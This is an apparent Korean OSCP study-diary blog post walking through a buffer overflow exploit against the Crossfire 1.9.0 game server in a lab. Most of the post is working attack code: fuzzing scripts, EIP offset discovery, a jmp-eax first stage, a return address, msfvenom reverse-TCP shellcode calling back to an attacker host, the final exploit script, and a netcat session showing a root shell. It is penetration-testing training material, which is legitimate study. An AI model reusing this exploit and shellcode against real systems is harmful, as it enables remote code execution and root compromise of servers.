오늘은
문서 416쪽, BOF 챕터까지 끝냈고
동영상 역시 BOF까지 봤으며
별도로 복습 차 Vulnhub의
Brainpan box를 풀었다.
이제 거의 절반 왔다.
앞으로 남은 과목들의 난이도에 따라
진도가 빨리 혹은 더디게 나갈 수 있지만
매일매일 최선을 다하고 있다는게
중요하다.
About DEP, ASLR, and Canaries :
Recent Linux kernels and compilers have implemented various memory protection techniques
such as Data Execution Prevention
오늘 실습은
Crossfire라는 리눅스 기반의
온라인 멀티 rpg 게임인데
1.9.0 버전에서 발견된
네트워크 기반의 BOF 실습이다.
setup sound라는 커맨드에
4000 바이트 이상의 데이터를
보내는 경우 취약점이 발생하는데
실습은
리눅스 데비안 랩에서 진행하며
사용할 디버거는 EDB.
1. 충돌 실험
A를 4379 바이트
buffer라는 변수에는
처음과 끝에 특정 hex 값들과
setup sound 명령어가 반드시
들어가야 하며
추가로 보낼 데이터 A는 중간에
넣어주면 된다. (4379 바이트는 맥스)
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# cat fuzzer1.py
#!/usr/bin/python
import socket
host = "192.168.160.44"
crash = "\x41" * 4379
buffer = "\x11(setup sound " + crash + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
보내 보면 Segmentation Fault 뜸!
2. Controlling EIP
취약 여부를 확인했으니
리턴 어드레스 값을 구하기 위해 먼저
어느 4 바이트가 EIP 자리인지 찾아야 한다.
정확한 EIP 주소값을 얻기 위해 사용할 패턴생성
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# msf-pattern_create -l 4379
코드에 반영
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# cat fuzzer2_Control_EiP.py
#!/usr/bin/python
import socket
host = "192.168.160.44"
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp"
buffer = "\x11(setup sound " + pattern + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
보내보면
msf-pattern_offset으로
정확한 offset 값을 찾아본다.
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# msf-pattern_offset -l 4379 -q 46367046
[*] Exact match at offset 4368
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# msf-pattern_offset -q 46367046
[*] Exact match at offset 4368
Offset 값은 4368,
보내보면
EIP를 B로 모두 채웠다.
성공
3. 쉘 코드 올릴 주소 찾기
이전에 풀었던 것들과 달리
ESP 주소 용량은 7바이트가
전부.
버퍼의 크기는 억지로 늘릴 수 없을뿐더러
막무가내로 시도해 조금이라도 늘린다면
예상치 못한 다른 종류의 충돌이 일어나
EIP 주소에 원하는 값을 제대로
덮어 씌울 수 없게 되고 따라서
정상적인 BOF 공격을 하지 못한다.
방법을 찾아야 한다.
요는 처음의 setup sound 부분과
마지막 여분의 7바이트를 적절히
사용해 쉘이 실행 되도록 하는 것.
EAX를 살펴보자.
처음 setup sound 부분의 코드
두 글자마다 점프 뛰는 방식이 조금씩
다르지만 여하튼 주변 어딘가로
뛰게 되어 있다. 이 점을 활용해보면
되는데
일단 EIP를 통제할 수 있고
ESP 주소의 7바이트를 쓸 수 있으니
ESP에 EAX를 넣고 EAX로 점프시키는
옵 코드를 넣어 실험해 본다.
먼저 옵 코드 및 사이즈 확인
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# msf-nasm_shell
nasm > add eax,12
00000000 83C00C add eax,byte +0xc
nasm > jmp eax
00000000 FFE0 jmp eax
다행히 두 코드는 합해서 5바이트
거기에 NOPS를 2 바이트 붙여 길이를
맞춰 주고
코드를 수정한다.
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# cat fuzzer4.py
#!/usr/bin/python
import socket
host = "192.168.160.44"
padding = "\x41"* 4368
EIP = "\x42\x42\x42\x42"
first_stage = "\x83\xC0\x0C\xFF\xE0\x90\x90"
buffer = "\x11(setup sound " + padding + EIP + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
돌려보면
EIP는 기존대로 B로 잘 덮였고
ESP가 가리키는 주소 역시
제대로 잘 올라갔다.
4. Checking Bad Characters
사용하면 안 되는 문자들을 확인해보면
\x00, \x20
5. Finding Return Address
다음으로는 쉘 코드가 실행될 위치로
리다이렉트 시켜줄 유효한 어셈블리
명령어를 찾아야 한다.
EDB 디버거 플러그인 중
OpcodeSearcher를 사용해
ESP -> EIP 부분 주소를 확인한 뒤
Break 포인터로 잡아주고
코드를 돌린다.
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# cat fuzzer6_shell.py
#!/usr/bin/python
import socket
host = "192.168.160.44"
padding = "\x41"* 4368
EIP = "\x96\x45\x13\x08"
first_stage = "\x83\xC0\x0C\xFF\xE0\x90\x90"
buffer = "\x11(setup sound " + padding + EIP + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
EAX가 첫 번째 A 위치로 포인팅 하고 있는 것을 확인.
6. Getting a shell
페이로드 만들고 코드 수정
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# msfvenom -p linux/x86/shell_reverse_tcp -b "\x00\x20" LHOST=192.168.119.160 LPORT=7979 \
-f py -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 550 bytes
shellcode = b""
shellcode += b"\xbf\x38\x6c\x8c\xad\xda\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5a\x33\xc9\xb1\x12\x31\x7a\x12\x83\xea\xfc"
shellcode += b"\x03\x42\x62\x6e\x58\x83\xa1\x99\x40\xb0\x16"
shellcode += b"\x35\xed\x34\x10\x58\x41\x5e\xef\x1b\x31\xc7"
shellcode += b"\x5f\x24\xfb\x77\xd6\x22\xfa\x1f\x29\x7c\x8b"
shellcode += b"\x7f\xc1\x7f\x74\x60\x39\x09\x95\x2e\x5b\x59"
shellcode += b"\x07\x1d\x17\x5a\x2e\x40\x9a\xdd\x62\xea\x4b"
shellcode += b"\xf1\xf1\x82\xfb\x22\xd9\x30\x95\xb5\xc6\xe6"
shellcode += b"\x36\x4f\xe9\xb6\xb2\x82\x6a"
공격 코드
┌──(root💀takudaddy)-[/oscp/bof/linux]
└─# cat fuzzer7_shell.py
#!/usr/bin/python
import socket
host = "192.168.160.44"
nop_sled = "\x90" * 10
shellcode = b""
shellcode += b"\xbf\x38\x6c\x8c\xad\xda\xd3\xd9\x74\x24\xf4"
shellcode += b"\x5a\x33\xc9\xb1\x12\x31\x7a\x12\x83\xea\xfc"
shellcode += b"\x03\x42\x62\x6e\x58\x83\xa1\x99\x40\xb0\x16"
shellcode += b"\x35\xed\x34\x10\x58\x41\x5e\xef\x1b\x31\xc7"
shellcode += b"\x5f\x24\xfb\x77\xd6\x22\xfa\x1f\x29\x7c\x8b"
shellcode += b"\x7f\xc1\x7f\x74\x60\x39\x09\x95\x2e\x5b\x59"
shellcode += b"\x07\x1d\x17\x5a\x2e\x40\x9a\xdd\x62\xea\x4b"
shellcode += b"\xf1\xf1\x82\xfb\x22\xd9\x30\x95\xb5\xc6\xe6"
shellcode += b"\x36\x4f\xe9\xb6\xb2\x82\x6a"
padding = "\x41"* (4368 - len(nop_sled) - len(shellcode))
EIP = "\x96\x45\x13\x08"
first_stage = "\x83\xC0\x0C\xFF\xE0\x90\x90"
buffer = "\x11(setup sound " + nop_sled + shellcode + padding + EIP + first_stage + "\x90\x00#"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[*]Sending evil buffer..."
s.connect((host, 13327))
print s.recv(1024)
s.send(buffer)
s.close()
print "[*]Payload Sent !"
리스너 하나 띄우고 실행하면
┌──(root💀takudaddy)-[~]
└─# nc -lvnp 7979
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.44] 51328
id
연결은 되었으나 멈춰있다.
디버거로 가보면 디버거가 멈춰있어서
생기는 일로 다시 running 시켜주면
┌──(root💀takudaddy)-[~]
└─# nc -lvnp 7979
listening on [any] 7979 ...
connect to [192.168.119.160] from (UNKNOWN) [192.168.160.44] 51328
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
반응하지만
공격을 시도할 때마다
매번 이 작업을 반복해야 한다.
이유는 디버거가
리버스 쉘에서 생성된
자식 프로세서의 변화를
감지해 멈추기 때문.
정상적으로 수행하기 위해서는
프로그램을 재기동 하고
디버거 없이 붙으면 된다.
끝
'OSCP > OSCP 공부일지' 카테고리의 다른 글
OSCP Day 7 (0) | 2021.05.02 |
---|---|
OSCP Day 6 (0) | 2021.05.01 |
OSCP Day 4 : BOF (WIN32) (0) | 2021.04.29 |
OSCP Day 3 (0) | 2021.04.27 |
OSCP Day 2 : Netcat / Socat / Powercat / TCPdump / Bash Scripting (0) | 2021.04.27 |